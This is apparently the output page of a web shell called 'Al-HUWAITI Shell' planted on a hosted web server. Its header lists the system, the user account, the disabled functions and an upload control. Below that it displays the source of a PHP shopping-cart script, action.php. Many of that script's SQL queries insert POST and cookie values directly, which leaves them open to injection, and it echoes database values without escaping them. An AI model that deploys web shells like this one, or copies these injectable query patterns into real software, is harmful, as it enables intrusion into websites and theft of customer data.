Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/action.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
//create a cookie so we can track add to cart
if( !isset($_COOKIE["cart"])){
	$ip_add = substr(md5(rand()), 0, 20);
	setcookie("cart", "$ip_add");
}
else{
	$ip_add = $_COOKIE["cart"];
}
include("minks.php");

	
if(isset($_SESSION["user_id"])){
$user_id = $_SESSION["user_id"];

}
if(isset($_POST["category"])){
	$category_query = "SELECT * FROM categories";
	$run_query = mysqli_query($con,$category_query) or die(mysqli_error($con));
	echo "
		<div class='nav nav-pills nav-stacked'>
			
	";
	if(mysqli_num_rows($run_query) > 0){
		while($row = mysqli_fetch_array($run_query)){
			$cid = $row["cat_id"];
			$cat_name = $row["cat_title"];
			echo "
					<li><a href='#' class='category' cid='$cid'>$cat_name</a></li>
			";
		}
		echo "</div>";
	}
}

if(isset($_POST["page"])){
	$sql = "SELECT * FROM products WHERE in_stock='yes'";
	$run_query = mysqli_query($con,$sql);
	$count = mysqli_num_rows($run_query);
	$pageno = ceil($count/9);
	for($i=1;$i<=$pageno;$i++){
		echo "
			<li><a href='#' page='$i' id='page'>$i</a></li>
		";
	}
}
if(isset($_POST["getProduct"])){
	$limit = 12;
	if(isset($_POST["setPage"])){
		$pageno = $_POST["pageNumber"];
		$start = ($pageno * $limit) - $limit;
	}else{
		$start = 0;
	}
	$product_query = "SELECT * FROM products WHERE in_stock='yes' LIMIT $start,$limit";
	$run_query = mysqli_query($con,$product_query);
	if(mysqli_num_rows($run_query) > 0){
		while($row = mysqli_fetch_array($run_query)){
			$pro_id    = $row['product_id'];
			$pro_cat   = $row['product_cat'];
			$pro_brand = $row['product_brand'];
			$pro_title = $row['product_title'];
			$pro_price = $row['product_price'];
			$pro_image = $row['product_image'];
			$old_price = $row['old_price'];
			$new = $row['new'];
			
			if($new == "yes"){$new_tag = "<span class='product-new-top'>New</span>";}
			else{$new_tag = "";}
			if($old_price == ""){
				$discounted_price = $pro_price;
				$cancelled_price = "<del style='height:50px;'><br/></del>";
				$percent_tag ="";
			}
			if(!$old_price == ""){
			$full_price = $pro_price;
			$percent_off = $old_price;
			$percent_tag = "<span class='product-percent-top'>$percent_off% off</span>";
			
			$percentInDecimal = $percent_off / 100;
			$percent = $percentInDecimal * $full_price;
			$discounted_price = $full_price - $percent;
			$cancelled_price = "<del style='height:50px;'>N$full_price.00</del>";
			}
			echo "
				<div class='col-md-3 product-men'>
								<div class='men-pro-item simpleCart_shelfItem'>
									<div class='men-thumb-item'>
										<img src='product_images/$pro_image' alt='' class='pro-image-front'>
										<img src='product_images/$pro_image' alt='' class='pro-image-back'>
											<div class='men-cart-pro'>
												<div class='inner-men-cart-pro'>
													<a href='view.php?u=$pro_id' class='link-product-add-cart'>Quick View</a>
												</div>
											</div>
											$new_tag
											$percent_tag
											
											
											
									</div>
									<div class='item-info-product '>
										<h4 style='height:50px;'><a href='view.php?u=$pro_id' >$pro_title</a></h4>
										<div class='info-product-price'>
											<span class='item_price'>N$discounted_price.00</span>
											$cancelled_price
										</div>
										<div class='snipcart-details top_brand_home_details item_add single-item hvr-outline-out button2'>
												
											<button pid='$pro_id' id='product' class='button'>Add To Cart</button>
										</div>
										
																			
									</div>
								</div>
							</div>	
			";
		}
	}
}
if(isset($_POST["get_seleted_Category"]) || isset($_POST["selectBrand"]) || isset($_POST["search"])){
	if(isset($_POST["get_seleted_Category"])){
		$id = $_POST["cat_id"];
		$sql = "SELECT * FROM products WHERE product_cat = '$id'";
	}else if(isset($_POST["selectBrand"])){
		$id = $_POST["brand_id"];
		$sql = "SELECT * FROM products WHERE product_brand = '$id'";
	}else {
		$keyword = $_POST["keyword"];
		$sql = "SELECT * FROM products WHERE product_keywords LIKE '%$keyword%'";
	}
	
	$run_query = mysqli_query($con,$sql);
	while($row=mysqli_fetch_array($run_query)){
			$pro_id    = $row['product_id'];
			$pro_cat   = $row['product_cat'];
			$pro_brand = $row['product_brand'];
			$pro_title = $row['product_title'];
			$pro_price = $row['product_price'];
			$pro_image = $row['product_image'];
			$old_price = $row['old_price'];
			echo "
				<div class='col-md-3 product-men'>
								<div class='men-pro-item simpleCart_shelfItem'>
									<div class='men-thumb-item'>
										<img src='product_images/$pro_image' alt='' class='pro-image-front'>
										<img src='product_images/$pro_image' alt='' class='pro-image-back'>
											<div class='men-cart-pro'>
												<div class='inner-men-cart-pro'>
													<a href='view.php?u=$pro_id' class='link-product-add-cart'>Quick View</a>
												</div>
											</div>
											
											
									</div>
									<div class='item-info-product '>
										<h4><a href='view.php?u=$pro_id'>$pro_title</a></h4>
										<div class='info-product-price'>
											<span class='item_price'>N$pro_price.00</span>
											<del>N$old_price.00</del>
										</div>
										<div class='snipcart-details top_brand_home_details item_add single-item hvr-outline-out button2'>
												
											<button pid='$pro_id'' id='product' class='button'>Add To Cart</button>
										</div>
										
																			
									</div>
								</div>
							</div>	
			";
		}
	}
	


	if(isset($_POST["addToCart"])){
		

		$p_id = $_POST["proId"];
		

		if(isset($_SESSION["user_id"])){

		$user_id = $_SESSION["user_id"];

		$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND ip_add = '$ip_add'";
		$run_query = mysqli_query($con,$sql);
		$count = mysqli_num_rows($run_query);
		if($count > 0){
			$get_product_name = mysqli_query($con,"SELECT product_title FROM products WHERE product_id='$p_id'");
				while($row = mysqli_fetch_array($get_product_name)){
					$product_name = $row['product_title'];}
				echo "
					<script>
					swal('$product_name', 'is already in your cart.', 'info');
					</script>
				";
		} else {
			$sql = "INSERT INTO `cart`
			(`p_id`, `ip_add`, `user_id`, `qty`) 
			VALUES ('$p_id','$ip_add','$user_id','1')";
			if(mysqli_query($con,$sql)){
				$get_product_name = mysqli_query($con,"SELECT product_title FROM products WHERE product_id='$p_id'");
				while($row = mysqli_fetch_array($get_product_name)){
					$product_name = $row['product_title'];}
				echo "
					<script>
					swal('$product_name', 'has been added to your cart.', 'success');
					</script>
				";
			}
		}
		}else{
			$sql = "SELECT id FROM cart WHERE ip_add = '$ip_add' AND p_id = '$p_id'";
			$query = mysqli_query($con,$sql);
			if (mysqli_num_rows($query) > 0) {
				$get_product_name = mysqli_query($con,"SELECT product_title FROM products WHERE product_id='$p_id'");
				while($row = mysqli_fetch_array($get_product_name)){
					$product_name = $row['product_title'];}
				echo "
					
					<script>
					swal('$product_name', 'is already in your cart.', 'info');
					</script>
				";
					exit();
			}
			$sql = "INSERT INTO `cart`
			(`p_id`, `ip_add`, `user_id`, `qty`) 
			VALUES ('$p_id','$ip_add','-1','1')";
			if (mysqli_query($con,$sql)) {
				$get_product_name = mysqli_query($con,"SELECT product_title FROM products WHERE product_id='$p_id'");
				while($row = mysqli_fetch_array($get_product_name)){
					$product_name = $row['product_title'];}
				echo "
					<script>
					swal('$product_name', 'has been added to your cart.', 'success');
					</script>
				";
				exit();
			}
			
		}
		
		
		
		
	}

//Count User cart item
if (isset($_POST["count_item"])) {
	//When user is logged in then we will count number of item in cart by using user session id
	if (isset($_SESSION["user_id"])) {
		$sql = "SELECT COUNT(*) AS count_item FROM cart WHERE ip_add = '$ip_add'";
	}else{
		//When user is not logged in then we will count number of item in cart by using users unique ip address
		$sql = "SELECT COUNT(*) AS count_item FROM cart WHERE ip_add = '$ip_add'";
	}
	
	$query = mysqli_query($con,$sql);
	$row = mysqli_fetch_array($query);
	echo $row["count_item"];
	exit();
}
//Count User cart item

//Get Cart Item From Database to Dropdown menu
if (isset($_POST["Common"])) {

	if (isset($_SESSION["user_id"])) {
		//When user is logged in this query will execute
		$sql = "SELECT a.product_id,a.product_title,a.product_price,a.old_price,a.product_image,b.id,b.qty FROM products a,cart b WHERE a.product_id=b.p_id AND b.ip_add = '$ip_add'";
	}else{
		//When user is not logged in this query will execute
		$sql = "SELECT a.product_id,a.product_title,a.product_price,a.old_price,a.product_image,b.id,b.qty FROM products a,cart b WHERE a.product_id=b.p_id AND b.ip_add='$ip_add'";
	}
	$query = mysqli_query($con,$sql);
	if (isset($_POST["getCartItem"])) {
		//display cart item in dropdown menu
		if (mysqli_num_rows($query) > 0) {
			$n=0;
			while ($row=mysqli_fetch_array($query)) {
				$n++;
				$product_id = $row["product_id"];
				$product_title = $row["product_title"];
				$product_price = $row["product_price"];
				$product_image = $row["product_image"];
				$cart_item_id = $row["id"];
				$qty = $row["qty"];
				echo "
				<li style='margin:10px;'>
					<a href='#' class='photo'><img src='$admin_no/assets/img/products/$product_image' class='cart-thumb alt='' /></a>
					<h6><a href='#'>$product_title</a></h6>
					<p><span class='price'>$currency";echo number_format((float)$product_price, 2, '.', ','); echo"</span></p>
					</li>
					";
				
			}
			?>
				<a style="float:right;" href="cart.php" class="btn btn-warning">Checkout&nbsp;&nbsp;<span class="glyphicon glyphicon-edit"></span></a>
			<?php
			exit();
		}
	}
	if (isset($_POST["checkOutDetails"])) {
		if (mysqli_num_rows($query) > 0) {
			//display user cart item with "Ready to checkout" button if user is not login
			if(isset($_SESSION["user_id"])){
			$where_to = "order.php";
			}
			if(!isset($_SESSION["user_id"])){
			$where_to = "sign_in.php?redirect=cart.php";
			}?>
			
		<?php	echo "
			<div class='container'>
			<div class='row'>
			<div class='col-md-6'>
			<div class='billing'>
			<div class='checkout_title'>ITEMS IN CART</div>	<BR/><br/><br/>	
			";
			
				//uic which stands for update incremontor count
				$n=0; $uic=0;
				while ($row=mysqli_fetch_array($query)) {
					$uic++;
					$n++;
					$product_id = $row["product_id"];
					$product_title = $row["product_title"];
					$product_price = $row["product_price"];
					$product_image = $row["product_image"];
					$cart_item_id = $row["id"];
					$qty = $row["qty"];
					$old_price = $row["old_price"];
					
					if(!$old_price == ""){
					$full_price = $product_price;
					$percent_off = $old_price;
					
					$percentInDecimal = $percent_off / 100;
					$percent = $percentInDecimal * $full_price;
					$discounted_price = $full_price - $percent;
					$product_price = $discounted_price;
					}

					echo"
					<img src='$admin_no/assets/img/products/$product_image' alt='' style='width:100px;height:100px;border-radius:5px;'><br/>
					$product_title
					<div class='small_gap'></div>
					";
							
					echo'<input style="display:none;border:none;font-weight:900;width:100px;height:20px;" type="text" class="price" value="'.$product_price.'" readonly="readonly">';
					
					echo'<b style="color:black;">'.$currency.'</b><input style="border:none;font-weight:900;width:100px;height:40px;padding-left:0px;padding-right:0px;" type="text" class="" value="'.number_format($product_price).'" readonly="readonly"><br/>';
							
					echo'
					<input style="border:1px solid lightgrey !important;width:110px;height:38.5px;border-radius:5px;padding:0 4px;" type="number" min="1" step="1" class="qty'.$uic.'" value="'.$qty.'">
					
					'; 
					echo"
					<span class='reduce_button' style='position:relative;top:-1px;left:5px;'>
					<a title='Update Quantity' update_id$uic='$product_id' class='button button-contactForm btn-primary boxed-btn update$uic' style='margin-right:4px;color:white;'>Update Qty</a>
					
					</span>
					<br/>
					";		
					echo'<input style="border:none;font-weight:900;opacity:0;" type="text" class="total" value="'.$product_price.'" readonly="readonly">
					<br/>
					';
							
					echo"	
					<span class='reduce_button'><a title='Remove from Cart' remove_id='$product_id' class='button button-contactForm btn-primary remove' style='position:relative;top:-13px;color:white;'>Remove</a></span>
					<br/><hr/>
					";
				$total = $qty * $product_price;
				$total_array[] = $total;
				}//end of while
										
				$grand_total = array_sum($total_array);
				$gt = $grand_total; ?>
				<script>
				function addDeliveryZone() {
  				var select_value = document.getElementById("delivery_zone").value;
					var result = select_value.split('-'); 
  				var delivery_fee = result[1];
					var formatted_delivery_fee = delivery_fee.toLocaleString("en-US");
					document.getElementById("shipping_fee").innerHTML = formatted_delivery_fee;

					var gt = parseInt(<?php echo $grand_total; ?>) + parseInt(delivery_fee);
					var formatted_gt = gt.toLocaleString("en-US");
  				document.getElementById("gt").innerHTML = formatted_gt;
				}
			</script>
				<?php echo"	
				<div class='lineo'></div>
				Subtotal<span class='number_box_order'>$currency";echo number_format($grand_total);echo"</span><br/>

				Shipping Fee<span class='number_box_order'>$currency"; ?><span id='shipping_fee'>0</span>
				<?php echo"</span><br/>
				
				Total <span class='number_box_order the_color'>$currency"; ?><span id='gt'><?php echo number_format($gt); ?></span><?php echo"
				</span></div><!-- end of billing --><br/><br/>
				 </div><!--End of col 6-->
				 ";?>
<?php 
//if they are signed in auto populate the fields
if(isset($_SESSION["user_id"])){
	
	$stmt_n = $con -> prepare('SELECT * FROM users WHERE user_id=?'); 
	$stmt_n -> bind_param('s',$user_id);
	$stmt_n -> execute(); 
	$stmt_n -> store_result(); 
	$stmt_n -> bind_result($id,$user_id,$first_name,$last_name,$email,$password,$phone,$address,$date_signed_up); 
	$numrows_n = $stmt_n -> num_rows();
	if($numrows_n > 0){
		$signed_in="Yes";
		while ($stmt_n -> fetch()) { }
	}
	else{$signed_in="No";}
}
else{
	$first_name="";$last_name="";
	$email="";$password="";
	$phone="";$address="";
}
?>			
<div class="col-lg-6">
<div class="billing">
<div class="checkout_title">billing details</div><br/>
<?php if(!isset($_SESSION["user_id"])){ ?>
Have an account? Simply <a href='sign_in.php?u=cart'>sign in</a> and save time,otherwise simply fill your details below<br/><br/>
<?php } ?>

<form class="form-contact contact_form" action="order_enquiry.php" method='post' id="contactForm">

<div class="row">

<div class="col-sm-6">
	<div class="form-group">
		<input class="form-control valid" name="first_name" required id="" type="text" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Enter your first name'" placeholder="Enter your first name" value='<?php echo $first_name; ?>' <?php if(isset($_SESSION["user_id"])){ ?> readonly <?php } ?>>
	</div>
</div>
<div class="col-sm-6">
	<div class="form-group">
		<input class="form-control valid" name="last_name" required id="" type="text" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Enter your last name'" placeholder="Enter your last name" value='<?php echo $last_name; ?>' <?php if(isset($_SESSION["user_id"])){ ?> readonly <?php } ?>>
	</div>
</div>
<div class="col-sm-12">
	<div class="form-group">
		<input class="form-control valid" name="email" required id="email" type="email" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Email address'" placeholder="Email" value='<?php echo $email; ?>'<?php if(isset($_SESSION["user_id"])){ ?> readonly <?php } ?>>
	</div>
</div>
<!--<div class="col-sm-6">
	<div class="form-group">
		<input class="form-control valid" name="password" required id="" type="password" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Password'" placeholder="Password" value='<?php echo $password; ?>'<?php if(isset($_SESSION["user_id"])){ ?> readonly <?php } ?>>
	</div>
</div>-->

<div class="col-sm-12">
	<div class="form-group">
		<input class="form-control valid" name="address" required id="" type="text" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Address'" placeholder="Address" value='<?php echo $address; ?>'>
	</div>
</div>
<div class="col-sm-12">
	<div class="form-group">
		<input class="form-control valid" name="phone" required id="" type="text" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Phone'" placeholder="Phone" value='<?php echo $phone; ?>'>
	</div>
</div>
<div class="col-sm-12">
	<div class="form-group">
		<select class="form-control valid" name='payment_method' required>
			<option value=''>Please choose a payment method</option>
			<!--<option value='Pay on Delivery'>Pay on Delivery</option>-->
			<!--<option value='Online Payment'>Online Payment</option>-->
			<option value='Bank Transfer Opay'>Opay</option>
			<option value='Bank Transfer Fidelity'>Fidelity</option>
		</select>
	</div>
</div>

<!--simply comment this out incase of no zone-->
<div class="col-sm-12">
	<div class="form-group">
		<a href="delivery_zones.php" target='_blank'>View Delivery Zones</a>
		<select class="form-control valid" id="delivery_zone" onchange="addDeliveryZone()" name='delivery_zone' required>
			<option value=''>Please choose a delivery zone</option>
			<?php $show = "Show";
			$stmt_de = $con -> prepare('SELECT * FROM delivery_zones WHERE display = ?');
			$stmt_de -> bind_param('s',$show);
			$stmt_de -> execute(); 
			$stmt_de -> store_result(); 
			$stmt_de -> bind_result($id_dz,$fee,$zone,$locations,$dis); 
			$numrows_de = $stmt_de -> num_rows();
			if($numrows_de > 0){
				while ($stmt_de -> fetch()) {
					echo"<option value='$id_dz-$fee'>$currency"; echo number_format((float)$fee, 2, '.', ','); echo " Zone $zone - $locations</option>";
			 }}
			?>
		</select>
	</div>
</div>

<div class="col-12">
	<div class="form-group">
		<textarea class="form-control w-100" name="comments" id="" cols="30" rows="9" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Additional Comments'" placeholder=" Additional Comments"></textarea>
	</div>
</div>

</div>
<div class="form-group mt-3">
	<button type="submit" name='place_order' class="btn hvr-hover" style='color:white;'>Place Order</button>
</div>

</form>

</div>
</div>
			
			
</div><!--End of Row-->
</div><!-- end of container -->
<?php

			}else{
				echo"There are no items in your cart.";
			}
	}
	
	
}

//Remove Item From cart
if (isset($_POST["removeItemFromCart"])) {
	$remove_id = $_POST["rid"];
	if (isset($_SESSION["user_id"])) {
		$sql = "DELETE FROM cart WHERE p_id = '$remove_id' AND ip_add = '$ip_add'";
	}else{
		$sql = "DELETE FROM cart WHERE p_id = '$remove_id' AND ip_add = '$ip_add'";
	}
	if(mysqli_query($con,$sql)){
		echo "
		 <script>
			swal('Item', 'has been removed from your cart.', 'success');
		</script>
		";
	
	}
}


//Update Item From cart
if (isset($_POST["updateCartItem"])) {
	$update_id = $_POST["update_id"];
	$qty = $_POST["qty"];
	if (isset($_SESSION["user_id"])) {
		$sql = "UPDATE cart SET qty='$qty' WHERE p_id = '$update_id' AND ip_add = '$ip_add'";
	}else{
		$sql = "UPDATE cart SET qty='$qty' WHERE p_id = '$update_id' AND ip_add = '$ip_add'";
	}
	if(mysqli_query($con,$sql)){
		 echo "
		<script>
			swal('Item', 'has been updated.', 'success');
		</script>
		";
		
		//echo "<meta http-equiv=\"refresh\" content=\"0; url=cart.php\">";
	}
}
?>

Al-HUWAITI Shell